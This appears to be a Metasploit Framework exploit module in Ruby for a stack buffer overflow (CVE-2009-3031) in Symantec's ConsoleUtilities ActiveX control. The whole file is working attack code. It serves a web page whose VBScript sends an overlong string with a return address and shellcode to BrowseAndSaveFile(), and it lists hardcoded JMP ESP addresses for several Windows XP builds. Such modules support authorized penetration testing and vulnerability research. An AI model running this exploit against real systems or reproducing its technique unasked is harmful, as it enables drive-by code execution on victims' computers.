112 lines
3.1 KiB
Ruby
112 lines
3.1 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Symantec ConsoleUtilities ActiveX Control Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in Symantecs ConsoleUtilities.
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By sending an overly long string to the "BrowseAndSaveFile()" method located
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in the AeXNSConsoleUtilities.dll (6.0.0.1846) Control, an attacker may be able to
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execute arbitrary code
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'Nikolas Sotiriu (lofi)' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2009-3031'],
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[ 'OSVDB', '59597'],
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[ 'BID', '36698'],
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[ 'URL', 'http://sotiriu.de/adv/NSOADV-2009-001.txt' ],
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[ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2009&suid=20091102_00' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP3 English', { 'Ret' => 0x7e47bcaf } ],
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[ 'Windows XP SP2 Universal', { 'Ret' => 0x77d92acc } ], # USER32.dll JMP ESP
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[ 'Windows XP SP2 Pro German', { 'Ret' => 0x77D5AF0A } ], # SHELL32.dll JMP ESP
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[ 'Windows XP SP3 Pro German', { 'Ret' => 0x7E6830D7 } ], # SHELL32.dll JMP ESP
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],
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'DisclosureDate' => 'Nov 02 2009',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Randomize variables
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vname = rand_text_alpha(rand(20) + 1)
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junk = rand_text_alpha(rand(20) + 1)
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eip = rand_text_alpha(rand(20) + 1)
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morejunk = rand_text_alpha(rand(20) + 1)
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sc = rand_text_alpha(rand(20) + 1)
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buf = rand_text_alpha(rand(20) + 1)
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# Set RET and shellcode
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ret = Rex::Text.to_unescape([target.ret].pack('V'))
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shellcode = Rex::Text.to_unescape(p.encoded)
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# Build the Site
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content = %Q|
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<html>
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<object classid='clsid:B44D252D-98FC-4D5C-948C-BE868392A004' id='#{vname}'></object>
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<script language='vbscript'>
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#{junk}=String(310,"A")
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#{eip}=unescape("#{ret}")
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#{morejunk}=String(18, unescape("%u0041"))
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#{sc}=unescape("#{shellcode}")
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#{buf}=#{junk}+#{eip}+#{morejunk}+#{sc}
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#{vname}.BrowseAndSaveFile "",#{buf},"","",""
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</script>
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</html>
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print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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